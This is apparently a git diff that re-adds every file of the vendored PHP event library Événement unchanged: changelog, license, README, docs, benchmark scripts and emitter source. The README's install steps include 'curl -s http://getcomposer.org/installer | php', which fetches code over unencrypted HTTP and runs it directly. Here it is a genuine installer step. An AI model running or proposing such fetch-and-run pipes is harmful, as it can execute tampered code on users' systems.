examples/benchmark-emit-no-arguments.php + - php -n examples/benchmark-emit-one-argument.php + - php -n examples/benchmark-emit.php + - php -n examples/benchmark-emit-once.php + - php -n examples/benchmark-remove-listener-once.php diff --git a/vendor/evenement/evenement/CHANGELOG.md b/vendor/evenement/evenement/CHANGELOG.md index a026a732ff..568f2295a5 100644 --- a/vendor/evenement/evenement/CHANGELOG.md +++ b/vendor/evenement/evenement/CHANGELOG.md @@ -1,35 +1,35 @@ -CHANGELOG -========= - - -* v3.0.1 (2017-07-23) - - * Resolved regression introduced in once listeners in v3.0.0 [#49](https://github.com/igorw/evenement/pull/49) - -* v3.0.0 (2017-07-23) - - * Passing null as event name throw exception [#46](https://github.com/igorw/evenement/pull/46), and [#47](https://github.com/igorw/evenement/pull/47) - * Performance improvements [#39](https://github.com/igorw/evenement/pull/39), and [#45](https://github.com/igorw/evenement/pull/45) - * Remove once listeners [#44](https://github.com/igorw/evenement/pull/44), [#45](https://github.com/igorw/evenement/pull/45) - -* v2.1.0 (2017-07-17) - - * Chaining for "on" method [#30](https://github.com/igorw/evenement/pull/30) - * Unit tests (on Travis) improvements [#33](https://github.com/igorw/evenement/pull/33), [#36](https://github.com/igorw/evenement/pull/36), and [#37](https://github.com/igorw/evenement/pull/37) - * Benchmarks added [#35](https://github.com/igorw/evenement/pull/35), and [#40](https://github.com/igorw/evenement/pull/40) - * Minor performance improvements [#42](https://github.com/igorw/evenement/pull/42), and [#38](https://github.com/igorw/evenement/pull/38) - -* v2.0.0 (2012-11-02) - - * Require PHP >=5.4.0 - * Added EventEmitterTrait - * Removed EventEmitter2 - -* v1.1.0 (2017-07-17) - - * Chaining for "on" method [#29](https://github.com/igorw/evenement/pull/29) - * Minor performance improvements [#43](https://github.com/igorw/evenement/pull/43) - -* v1.0.0 (2012-05-30) - - * Inital stable release +CHANGELOG +========= + + +* v3.0.1 (2017-07-23) + + * Resolved regression introduced in once listeners in v3.0.0 [#49](https://github.com/igorw/evenement/pull/49) + +* v3.0.0 (2017-07-23) + + * Passing null as event name throw exception [#46](https://github.com/igorw/evenement/pull/46), and [#47](https://github.com/igorw/evenement/pull/47) + * Performance improvements [#39](https://github.com/igorw/evenement/pull/39), and [#45](https://github.com/igorw/evenement/pull/45) + * Remove once listeners [#44](https://github.com/igorw/evenement/pull/44), [#45](https://github.com/igorw/evenement/pull/45) + +* v2.1.0 (2017-07-17) + + * Chaining for "on" method [#30](https://github.com/igorw/evenement/pull/30) + * Unit tests (on Travis) improvements [#33](https://github.com/igorw/evenement/pull/33), [#36](https://github.com/igorw/evenement/pull/36), and [#37](https://github.com/igorw/evenement/pull/37) + * Benchmarks added [#35](https://github.com/igorw/evenement/pull/35), and [#40](https://github.com/igorw/evenement/pull/40) + * Minor performance improvements [#42](https://github.com/igorw/evenement/pull/42), and [#38](https://github.com/igorw/evenement/pull/38) + +* v2.0.0 (2012-11-02) + + * Require PHP >=5.4.0 + * Added EventEmitterTrait + * Removed EventEmitter2 + +* v1.1.0 (2017-07-17) + + * Chaining for "on" method [#29](https://github.com/igorw/evenement/pull/29) + * Minor performance improvements [#43](https://github.com/igorw/evenement/pull/43) + +* v1.0.0 (2012-05-30) + + * Inital stable release diff --git a/vendor/evenement/evenement/LICENSE b/vendor/evenement/evenement/LICENSE index dfb5651d15..d9a37d0a04 100644 --- a/vendor/evenement/evenement/LICENSE +++ b/vendor/evenement/evenement/LICENSE @@ -1,19 +1,19 @@ -Copyright (c) 2011 Igor Wiedler - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. +Copyright (c) 2011 Igor Wiedler + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/evenement/evenement/README.md b/vendor/evenement/evenement/README.md index 8be6548a86..94430119b1 100644 --- a/vendor/evenement/evenement/README.md +++ b/vendor/evenement/evenement/README.md @@ -1,83 +1,83 @@ -# Événement - -Événement is a very simple event dispatching library for PHP. - -It has the same design goals as [Silex](http://silex-project.org) and -[Pimple](http://pimple-project.org), to empower the user while staying concise -and simple. - -It is very strongly inspired by the EventEmitter API found in -[node.js](http://nodejs.org). - -[![Build Status](https://secure.travis-ci.org/igorw/evenement.png?branch=master)](http://travis-ci.org/igorw/evenement) - -## Fetch - -The recommended way to install Événement is [through composer](http://getcomposer.org). - -Just create a composer.json file for your project: - -```JSON -{ - "require": { - "evenement/evenement": "^3.0 || ^2.0" - } -} -``` - -**Note:** The `3.x` version of Événement requires PHP 7 and the `2.x` version requires PHP 5.4. If you are -using PHP 5.3, please use the `1.x` version: - -```JSON -{ - "require": { - "evenement/evenement": "^1.0" - } -} -``` - -And run these two commands to install it: - - $ curl -s http://getcomposer.org/installer | php - $ php composer.phar install - -Now you can add the autoloader, and you will have access to the library: - -```php -on('user.created', function (User $user) use ($logger) { - $logger->log(sprintf("User '%s' was created.", $user->getLogin())); -}); -``` - -### Emitting Events - -```php -emit('user.created', [$user]); -``` - -Tests ------ - - $ ./vendor/bin/phpunit - -License -------- -MIT, see LICENSE. +# Événement + +Événement is a very simple event dispatching library for PHP. + +It has the same design goals as [Silex](http://silex-project.org) and +[Pimple](http://pimple-project.org), to empower the user while staying concise +and simple. + +It is very strongly inspired by the EventEmitter API found in +[node.js](http://nodejs.org). + +[![Build Status](https://secure.travis-ci.org/igorw/evenement.png?branch=master)](http://travis-ci.org/igorw/evenement) + +## Fetch + +The recommended way to install Événement is [through composer](http://getcomposer.org). + +Just create a composer.json file for your project: + +```JSON +{ + "require": { + "evenement/evenement": "^3.0 || ^2.0" + } +} +``` + +**Note:** The `3.x` version of Événement requires PHP 7 and the `2.x` version requires PHP 5.4. If you are +using PHP 5.3, please use the `1.x` version: + +```JSON +{ + "require": { + "evenement/evenement": "^1.0" + } +} +``` + +And run these two commands to install it: + + $ curl -s http://getcomposer.org/installer | php + $ php composer.phar install + +Now you can add the autoloader, and you will have access to the library: + +```php +on('user.created', function (User $user) use ($logger) { + $logger->log(sprintf("User '%s' was created.", $user->getLogin())); +}); +``` + +### Emitting Events + +```php +emit('user.created', [$user]); +``` + +Tests +----- + + $ ./vendor/bin/phpunit + +License +------- +MIT, see LICENSE. diff --git a/vendor/evenement/evenement/composer.json b/vendor/evenement/evenement/composer.json index 89d2ffa816..cbb4827b69 100644 --- a/vendor/evenement/evenement/composer.json +++ b/vendor/evenement/evenement/composer.json @@ -1,29 +1,29 @@ -{ - "name": "evenement/evenement", - "description": "Événement is a very simple event dispatching library for PHP", - "keywords": ["event-dispatcher", "event-emitter"], - "license": "MIT", - "authors": [ - { - "name": "Igor Wiedler", - "email": "igor@wiedler.ch" - } - ], - "require": { - "php": ">=7.0" - }, - "require-dev": { - "phpunit/phpunit": "^6.0" - }, - "autoload": { - "psr-0": { - "Evenement": "src" - } - }, - "autoload-dev": { - "psr-0": { - "Evenement": "tests" - }, - "files": ["tests/Evenement/Tests/functions.php"] - } -} +{ + "name": "evenement/evenement", + "description": "Événement is a very simple event dispatching library for PHP", + "keywords": ["event-dispatcher", "event-emitter"], + "license": "MIT", + "authors": [ + { + "name": "Igor Wiedler", + "email": "igor@wiedler.ch" + } + ], + "require": { + "php": ">=7.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.0" + }, + "autoload": { + "psr-0": { + "Evenement": "src" + } + }, + "autoload-dev": { + "psr-0": { + "Evenement": "tests" + }, + "files": ["tests/Evenement/Tests/functions.php"] + } +} diff --git a/vendor/evenement/evenement/doc/00-intro.md b/vendor/evenement/evenement/doc/00-intro.md index ffd771af19..6c28a2ab2c 100644 --- a/vendor/evenement/evenement/doc/00-intro.md +++ b/vendor/evenement/evenement/doc/00-intro.md @@ -1,28 +1,28 @@ -# Introduction - -Événement is is French and means "event". The événement library aims to -provide a simple way of subscribing to events and notifying those subscribers -whenever an event occurs. - -The API that it exposes is almost a direct port of the EventEmitter API found -in node.js. It also includes an "EventEmitter". There are some minor -differences however. - -The EventEmitter is an implementation of the publish-subscribe pattern, which -is a generalized version of the observer pattern. The observer pattern -specifies an observable subject, which observers can register themselves to. -Once something interesting happens, the subject notifies its observers. - -Pub/sub takes the same idea but encapsulates the observation logic inside a -separate object which manages all of its subscribers or listeners. Subscribers -are bound to an event name, and will only receive notifications of the events -they subscribed to. - -**TLDR: What does evenement do, in short? It provides a mapping from event -names to a list of listener functions and triggers each listener for a given -event when it is emitted.** - -Why do we do this, you ask? To achieve decoupling. - -It allows you to design a system where the core will emit events, and modules -are able to subscribe to these events. And respond to them. +# Introduction + +Événement is is French and means "event". The événement library aims to +provide a simple way of subscribing to events and notifying those subscribers +whenever an event occurs. + +The API that it exposes is almost a direct port of the EventEmitter API found +in node.js. It also includes an "EventEmitter". There are some minor +differences however. + +The EventEmitter is an implementation of the publish-subscribe pattern, which +is a generalized version of the observer pattern. The observer pattern +specifies an observable subject, which observers can register themselves to. +Once something interesting happens, the subject notifies its observers. + +Pub/sub takes the same idea but encapsulates the observation logic inside a +separate object which manages all of its subscribers or listeners. Subscribers +are bound to an event name, and will only receive notifications of the events +they subscribed to. + +**TLDR: What does evenement do, in short? It provides a mapping from event +names to a list of listener functions and triggers each listener for a given +event when it is emitted.** + +Why do we do this, you ask? To achieve decoupling. + +It allows you to design a system where the core will emit events, and modules +are able to subscribe to these events. And respond to them. diff --git a/vendor/evenement/evenement/doc/01-api.md b/vendor/evenement/evenement/doc/01-api.md index 328ae245c8..17ba333ecc 100644 --- a/vendor/evenement/evenement/doc/01-api.md +++ b/vendor/evenement/evenement/doc/01-api.md @@ -1,91 +1,91 @@ -# API - -The API that événement exposes is defined by the -`Evenement\EventEmitterInterface`. The interface is useful if you want to -define an interface that extends the emitter and implicitly defines certain -events to be emitted, or if you want to type hint an `EventEmitter` to be -passed to a method without coupling to the specific implementation. - -## on($event, callable $listener) - -Allows you to subscribe to an event. - -Example: - -```php -$emitter->on('user.created', function (User $user) use ($logger) { - $logger->log(sprintf("User '%s' was created.", $user->getLogin())); -}); -``` - -Since the listener can be any callable, you could also use an instance method -instead of the anonymous function: - -```php -$loggerSubscriber = new LoggerSubscriber($logger); -$emitter->on('user.created', array($loggerSubscriber, 'onUserCreated')); -``` - -This has the benefit that listener does not even need to know that the emitter -exists. - -You can also accept more than one parameter for the listener: - -```php -$emitter->on('numbers_added', function ($result, $a, $b) {}); -``` - -## once($event, callable $listener) - -Convenience method that adds a listener which is guaranteed to only be called -once. - -Example: - -```php -$conn->once('connected', function () use ($conn, $data) { - $conn->send($data); -}); -``` - -## emit($event, array $arguments = []) - -Emit an event, which will call all listeners. - -Example: - -```php -$conn->emit('data', [$data]); -``` - -The second argument to emit is an array of listener arguments. This is how you -specify more args: - -```php -$result = $a + $b; -$emitter->emit('numbers_added', [$result, $a, $b]); -``` - -## listeners($event) - -Allows you to inspect the listeners attached to an event. Particularly useful -to check if there are any listeners at all. - -Example: - -```php -$e = new \RuntimeException('Everything is broken!'); -if (0 === count($emitter->listeners('error'))) { - throw $e; -} -``` - -## removeListener($event, callable $listener) - -Remove a specific listener for a specific event. - -## removeAllListeners($event = null) - -Remove all listeners for a specific event or all listeners all together. This -is useful for long-running processes, where you want to remove listeners in -order to allow them to get garbage collected. +# API + +The API that événement exposes is defined by the +`Evenement\EventEmitterInterface`. The interface is useful if you want to +define an interface that extends the emitter and implicitly defines certain +events to be emitted, or if you want to type hint an `EventEmitter` to be +passed to a method without coupling to the specific implementation. + +## on($event, callable $listener) + +Allows you to subscribe to an event. + +Example: + +```php +$emitter->on('user.created', function (User $user) use ($logger) { + $logger->log(sprintf("User '%s' was created.", $user->getLogin())); +}); +``` + +Since the listener can be any callable, you could also use an instance method +instead of the anonymous function: + +```php +$loggerSubscriber = new LoggerSubscriber($logger); +$emitter->on('user.created', array($loggerSubscriber, 'onUserCreated')); +``` + +This has the benefit that listener does not even need to know that the emitter +exists. + +You can also accept more than one parameter for the listener: + +```php +$emitter->on('numbers_added', function ($result, $a, $b) {}); +``` + +## once($event, callable $listener) + +Convenience method that adds a listener which is guaranteed to only be called +once. + +Example: + +```php +$conn->once('connected', function () use ($conn, $data) { + $conn->send($data); +}); +``` + +## emit($event, array $arguments = []) + +Emit an event, which will call all listeners. + +Example: + +```php +$conn->emit('data', [$data]); +``` + +The second argument to emit is an array of listener arguments. This is how you +specify more args: + +```php +$result = $a + $b; +$emitter->emit('numbers_added', [$result, $a, $b]); +``` + +## listeners($event) + +Allows you to inspect the listeners attached to an event. Particularly useful +to check if there are any listeners at all. + +Example: + +```php +$e = new \RuntimeException('Everything is broken!'); +if (0 === count($emitter->listeners('error'))) { + throw $e; +} +``` + +## removeListener($event, callable $listener) + +Remove a specific listener for a specific event. + +## removeAllListeners($event = null) + +Remove all listeners for a specific event or all listeners all together. This +is useful for long-running processes, where you want to remove listeners in +order to allow them to get garbage collected. diff --git a/vendor/evenement/evenement/doc/02-plugin-system.md b/vendor/evenement/evenement/doc/02-plugin-system.md index 8d0175a3c8..6a08371931 100644 --- a/vendor/evenement/evenement/doc/02-plugin-system.md +++ b/vendor/evenement/evenement/doc/02-plugin-system.md @@ -1,155 +1,155 @@ -# Example: Plugin system - -In this example I will show you how to create a generic plugin system with -événement where plugins can alter the behaviour of the app. The app is a blog. -Boring, I know. By using the EventEmitter it will be easy to extend this blog -with additional functionality without modifying the core system. - -The blog is quite basic. Users are able to create blog posts when they log in. -The users are stored in a static config file, so there is no sign up process. -Once logged in they get a "new post" link which gives them a form where they -can create a new blog post with plain HTML. That will store the post in a -document database. The index lists all blog post titles by date descending. -Clicking on the post title will take you to the full post. - -## Plugin structure - -The goal of the plugin system is to allow features to be added to the blog -without modifying any core files of the blog. - -The plugins are managed through a config file, `plugins.json`. This JSON file -contains a JSON-encoded list of class-names for plugin classes. This allows -you to enable and disable plugins in a central location. The initial -`plugins.json` is just an empty array: -```json -[] -``` - -A plugin class must implement the `PluginInterface`: -```php -interface PluginInterface -{ - function attachEvents(EventEmitterInterface $emitter); -} -``` - -The `attachEvents` method allows the plugin to attach any events to the -emitter. For example: -```php -class FooPlugin implements PluginInterface -{ - public function attachEvents(EventEmitterInterface $emitter) - { - $emitter->on('foo', function () { - echo 'bar!'; - }); - } -} -``` - -The blog system creates an emitter instance and loads the plugins: -```php -$emitter = new EventEmitter(); - -$pluginClasses = json_decode(file_get_contents('plugins.json'), true); -foreach ($pluginClasses as $pluginClass) { - $plugin = new $pluginClass(); - $pluginClass->attachEvents($emitter); -} -``` - -This is the base system. There are no plugins yet, and there are no events yet -either. That's because I don't know which extension points will be needed. I -will add them on demand. - -## Feature: Markdown - -Writing blog posts in HTML sucks! Wouldn't it be great if I could write them -in a nice format such as markdown, and have that be converted to HTML for me? - -This feature will need two extension points. I need to be able to mark posts -as markdown, and I need to be able to hook into the rendering of the post body -and convert it from markdown to HTML. So the blog needs two new events: -`post.create` and `post.render`. - -In the code that creates the post, I'll insert the `post.create` event: -```php -class PostEvent -{ - public $post; - - public function __construct(array $post) - { - $this->post = $post; - } -} - -$post = createPostFromRequest($_POST); - -$event = new PostEvent($post); -$emitter->emit('post.create', [$event]); -$post = $event->post; - -$db->save('post', $post); -``` - -This shows that you can wrap a value in an event object to make it mutable, -allowing listeners to change it. - -The same thing for the `post.render` event: -```php -public function renderPostBody(array $post) -{ - $emitter = $this->emitter; - - $event = new PostEvent($post); - $emitter->emit('post.render', [$event]); - $post = $event->post; - - return $post['body']; -} - -

-

-``` - -Ok, the events are in place. It's time to create the first plugin, woohoo! I -will call this the `MarkdownPlugin`, so here's `plugins.json`: -```json -[ - "MarkdownPlugin" -] -``` - -The `MarkdownPlugin` class will be autoloaded, so I don't have to worry about -including any files. I just have to worry about implementing the plugin class. -The `markdown` function represents a markdown to HTML converter. -```php -class MarkdownPlugin implements PluginInterface -{ - public function attachEvents(EventEmitterInterface $emitter) - { - $emitter->on('post.create', function (PostEvent $event) { - $event->post['format'] = 'markdown'; - }); - - $emitter->on('post.render', function (PostEvent $event) { - if (isset($event->post['format']) && 'markdown' === $event->post['format']) { - $event->post['body'] = markdown($event->post['body']); - } - }); - } -} -``` - -There you go, the blog now renders posts as markdown. But all of the previous -posts before the addition of the markdown plugin are still rendered correctly -as raw HTML. - -## Feature: Comments - -TODO - -## Feature: Comment spam control - -TODO +# Example: Plugin system + +In this example I will show you how to create a generic plugin system with +événement where plugins can alter the behaviour of the app. The app is a blog. +Boring, I know. By using the EventEmitter it will be easy to extend this blog +with additional functionality without modifying the core system. + +The blog is quite basic. Users are able to create blog posts when they log in. +The users are stored in a static config file, so there is no sign up process. +Once logged in they get a "new post" link which gives them a form where they +can create a new blog post with plain HTML. That will store the post in a +document database. The index lists all blog post titles by date descending. +Clicking on the post title will take you to the full post. + +## Plugin structure + +The goal of the plugin system is to allow features to be added to the blog +without modifying any core files of the blog. + +The plugins are managed through a config file, `plugins.json`. This JSON file +contains a JSON-encoded list of class-names for plugin classes. This allows +you to enable and disable plugins in a central location. The initial +`plugins.json` is just an empty array: +```json +[] +``` + +A plugin class must implement the `PluginInterface`: +```php +interface PluginInterface +{ + function attachEvents(EventEmitterInterface $emitter); +} +``` + +The `attachEvents` method allows the plugin to attach any events to the +emitter. For example: +```php +class FooPlugin implements PluginInterface +{ + public function attachEvents(EventEmitterInterface $emitter) + { + $emitter->on('foo', function () { + echo 'bar!'; + }); + } +} +``` + +The blog system creates an emitter instance and loads the plugins: +```php +$emitter = new EventEmitter(); + +$pluginClasses = json_decode(file_get_contents('plugins.json'), true); +foreach ($pluginClasses as $pluginClass) { + $plugin = new $pluginClass(); + $pluginClass->attachEvents($emitter); +} +``` + +This is the base system. There are no plugins yet, and there are no events yet +either. That's because I don't know which extension points will be needed. I +will add them on demand. + +## Feature: Markdown + +Writing blog posts in HTML sucks! Wouldn't it be great if I could write them +in a nice format such as markdown, and have that be converted to HTML for me? + +This feature will need two extension points. I need to be able to mark posts +as markdown, and I need to be able to hook into the rendering of the post body +and convert it from markdown to HTML. So the blog needs two new events: +`post.create` and `post.render`. + +In the code that creates the post, I'll insert the `post.create` event: +```php +class PostEvent +{ + public $post; + + public function __construct(array $post) + { + $this->post = $post; + } +} + +$post = createPostFromRequest($_POST); + +$event = new PostEvent($post); +$emitter->emit('post.create', [$event]); +$post = $event->post; + +$db->save('post', $post); +``` + +This shows that you can wrap a value in an event object to make it mutable, +allowing listeners to change it. + +The same thing for the `post.render` event: +```php +public function renderPostBody(array $post) +{ + $emitter = $this->emitter; + + $event = new PostEvent($post); + $emitter->emit('post.render', [$event]); + $post = $event->post; + + return $post['body']; +} + +

+

+``` + +Ok, the events are in place. It's time to create the first plugin, woohoo! I +will call this the `MarkdownPlugin`, so here's `plugins.json`: +```json +[ + "MarkdownPlugin" +] +``` + +The `MarkdownPlugin` class will be autoloaded, so I don't have to worry about +including any files. I just have to worry about implementing the plugin class. +The `markdown` function represents a markdown to HTML converter. +```php +class MarkdownPlugin implements PluginInterface +{ + public function attachEvents(EventEmitterInterface $emitter) + { + $emitter->on('post.create', function (PostEvent $event) { + $event->post['format'] = 'markdown'; + }); + + $emitter->on('post.render', function (PostEvent $event) { + if (isset($event->post['format']) && 'markdown' === $event->post['format']) { + $event->post['body'] = markdown($event->post['body']); + } + }); + } +} +``` + +There you go, the blog now renders posts as markdown. But all of the previous +posts before the addition of the markdown plugin are still rendered correctly +as raw HTML. + +## Feature: Comments + +TODO + +## Feature: Comment spam control + +TODO diff --git a/vendor/evenement/evenement/examples/benchmark-emit-no-arguments.php b/vendor/evenement/evenement/examples/benchmark-emit-no-arguments.php index dcf5aa42a1..53d7f4b225 100644 --- a/vendor/evenement/evenement/examples/benchmark-emit-no-arguments.php +++ b/vendor/evenement/evenement/examples/benchmark-emit-no-arguments.php @@ -1,28 +1,28 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -const ITERATIONS = 10000000; - -use Evenement\EventEmitter; - -require __DIR__.'/../vendor/autoload.php'; - -$emitter = new EventEmitter(); - -$emitter->on('event', function () {}); - -$start = microtime(true); -for ($i = 0; $i < ITERATIONS; $i++) { - $emitter->emit('event'); -} -$time = microtime(true) - $start; - -echo 'Emitting ', number_format(ITERATIONS), ' events took: ', number_format($time, 2), 's', PHP_EOL; + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +const ITERATIONS = 10000000; + +use Evenement\EventEmitter; + +require __DIR__.'/../vendor/autoload.php'; + +$emitter = new EventEmitter(); + +$emitter->on('event', function () {}); + +$start = microtime(true); +for ($i = 0; $i < ITERATIONS; $i++) { + $emitter->emit('event'); +} +$time = microtime(true) - $start; + +echo 'Emitting ', number_format(ITERATIONS), ' events took: ', number_format($time, 2), 's', PHP_EOL; diff --git a/vendor/evenement/evenement/examples/benchmark-emit-once.php b/vendor/evenement/evenement/examples/benchmark-emit-once.php index 1aefb0ee03..74f4d1755e 100644 --- a/vendor/evenement/evenement/examples/benchmark-emit-once.php +++ b/vendor/evenement/evenement/examples/benchmark-emit-once.php @@ -1,30 +1,30 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -ini_set('memory_limit', '512M'); - -const ITERATIONS = 100000; - -use Evenement\EventEmitter; - -require __DIR__.'/../vendor/autoload.php'; - -$emitter = new EventEmitter(); - -for ($i = 0; $i < ITERATIONS; $i++) { - $emitter->once('event', function ($a, $b, $c) {}); -} - -$start = microtime(true); -$emitter->emit('event', [1, 2, 3]); -$time = microtime(true) - $start; - -echo 'Emitting one event to ', number_format(ITERATIONS), ' once listeners took: ', number_format($time, 2), 's', PHP_EOL; + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +ini_set('memory_limit', '512M'); + +const ITERATIONS = 100000; + +use Evenement\EventEmitter; + +require __DIR__.'/../vendor/autoload.php'; + +$emitter = new EventEmitter(); + +for ($i = 0; $i < ITERATIONS; $i++) { + $emitter->once('event', function ($a, $b, $c) {}); +} + +$start = microtime(true); +$emitter->emit('event', [1, 2, 3]); +$time = microtime(true) - $start; + +echo 'Emitting one event to ', number_format(ITERATIONS), ' once listeners took: ', number_format($time, 2), 's', PHP_EOL; diff --git a/vendor/evenement/evenement/examples/benchmark-emit-one-argument.php b/vendor/evenement/evenement/examples/benchmark-emit-one-argument.php index 2f0c6d38d5..39fc4ba09e 100644 --- a/vendor/evenement/evenement/examples/benchmark-emit-one-argument.php +++ b/vendor/evenement/evenement/examples/benchmark-emit-one-argument.php @@ -1,28 +1,28 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -const ITERATIONS = 10000000; - -use Evenement\EventEmitter; - -require __DIR__.'/../vendor/autoload.php'; - -$emitter = new EventEmitter(); - -$emitter->on('event', function ($a) {}); - -$start = microtime(true); -for ($i = 0; $i < ITERATIONS; $i++) { - $emitter->emit('event', [1]); -} -$time = microtime(true) - $start; - -echo 'Emitting ', number_format(ITERATIONS), ' events took: ', number_format($time, 2), 's', PHP_EOL; + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +const ITERATIONS = 10000000; + +use Evenement\EventEmitter; + +require __DIR__.'/../vendor/autoload.php'; + +$emitter = new EventEmitter(); + +$emitter->on('event', function ($a) {}); + +$start = microtime(true); +for ($i = 0; $i < ITERATIONS; $i++) { + $emitter->emit('event', [1]); +} +$time = microtime(true) - $start; + +echo 'Emitting ', number_format(ITERATIONS), ' events took: ', number_format($time, 2), 's', PHP_EOL; diff --git a/vendor/evenement/evenement/examples/benchmark-emit.php b/vendor/evenement/evenement/examples/benchmark-emit.php index fd14c495bd..3ab639e07a 100644 --- a/vendor/evenement/evenement/examples/benchmark-emit.php +++ b/vendor/evenement/evenement/examples/benchmark-emit.php @@ -1,28 +1,28 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -const ITERATIONS = 10000000; - -use Evenement\EventEmitter; - -require __DIR__.'/../vendor/autoload.php'; - -$emitter = new EventEmitter(); - -$emitter->on('event', function ($a, $b, $c) {}); - -$start = microtime(true); -for ($i = 0; $i < ITERATIONS; $i++) { - $emitter->emit('event', [1, 2, 3]); -} -$time = microtime(true) - $start; - -echo 'Emitting ', number_format(ITERATIONS), ' events took: ', number_format($time, 2), 's', PHP_EOL; + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +const ITERATIONS = 10000000; + +use Evenement\EventEmitter; + +require __DIR__.'/../vendor/autoload.php'; + +$emitter = new EventEmitter(); + +$emitter->on('event', function ($a, $b, $c) {}); + +$start = microtime(true); +for ($i = 0; $i < ITERATIONS; $i++) { + $emitter->emit('event', [1, 2, 3]); +} +$time = microtime(true) - $start; + +echo 'Emitting ', number_format(ITERATIONS), ' events took: ', number_format($time, 2), 's', PHP_EOL; diff --git a/vendor/evenement/evenement/examples/benchmark-remove-listener-once.php b/vendor/evenement/evenement/examples/benchmark-remove-listener-once.php index 3c5a3452cb..414be3bd23 100644 --- a/vendor/evenement/evenement/examples/benchmark-remove-listener-once.php +++ b/vendor/evenement/evenement/examples/benchmark-remove-listener-once.php @@ -1,39 +1,39 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -ini_set('memory_limit', '512M'); - -const ITERATIONS = 100000; - -use Evenement\EventEmitter; - -require __DIR__.'/../vendor/autoload.php'; - -$emitter = new EventEmitter(); - -$listeners = []; -for ($i = 0; $i < ITERATIONS; $i++) { - $listeners[] = function ($a, $b, $c) {}; -} - -$start = microtime(true); -foreach ($listeners as $listener) { - $emitter->once('event', $listener); -} -$time = microtime(true) - $start; -echo 'Adding ', number_format(ITERATIONS), ' once listeners took: ', number_format($time, 2), 's', PHP_EOL; - -$start = microtime(true); -foreach ($listeners as $listener) { - $emitter->removeListener('event', $listener); -} -$time = microtime(true) - $start; -echo 'Removing ', number_format(ITERATIONS), ' once listeners took: ', number_format($time, 2), 's', PHP_EOL; + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +ini_set('memory_limit', '512M'); + +const ITERATIONS = 100000; + +use Evenement\EventEmitter; + +require __DIR__.'/../vendor/autoload.php'; + +$emitter = new EventEmitter(); + +$listeners = []; +for ($i = 0; $i < ITERATIONS; $i++) { + $listeners[] = function ($a, $b, $c) {}; +} + +$start = microtime(true); +foreach ($listeners as $listener) { + $emitter->once('event', $listener); +} +$time = microtime(true) - $start; +echo 'Adding ', number_format(ITERATIONS), ' once listeners took: ', number_format($time, 2), 's', PHP_EOL; + +$start = microtime(true); +foreach ($listeners as $listener) { + $emitter->removeListener('event', $listener); +} +$time = microtime(true) - $start; +echo 'Removing ', number_format(ITERATIONS), ' once listeners took: ', number_format($time, 2), 's', PHP_EOL; diff --git a/vendor/evenement/evenement/phpunit.xml.dist b/vendor/evenement/evenement/phpunit.xml.dist index ce6b9c72e5..70bc693a56 100644 --- a/vendor/evenement/evenement/phpunit.xml.dist +++ b/vendor/evenement/evenement/phpunit.xml.dist @@ -1,24 +1,24 @@ - - - - - - ./tests/Evenement/ - - - - - - ./src/ - - - + + + + + + ./tests/Evenement/ + + + + + + ./src/ + + + diff --git a/vendor/evenement/evenement/src/Evenement/EventEmitter.php b/vendor/evenement/evenement/src/Evenement/EventEmitter.php index 141375d17f..db189b972b 100644 --- a/vendor/evenement/evenement/src/Evenement/EventEmitter.php +++ b/vendor/evenement/evenement/src/Evenement/EventEmitter.php @@ -1,17 +1,17 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Evenement; - -class EventEmitter implements EventEmitterInterface -{ - use EventEmitterTrait; -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Evenement; + +class EventEmitter implements EventEmitterInterface +{ + use EventEmitterTrait; +} diff --git a/vendor/evenement/evenement/src/Evenement/EventEmitterInterface.php b/vendor/evenement/evenement/src/Evenement/EventEmitterInterface.php index 0fe0ada179..310631a104 100644 --- a/vendor/evenement/evenement/src/Evenement/EventEmitterInterface.php 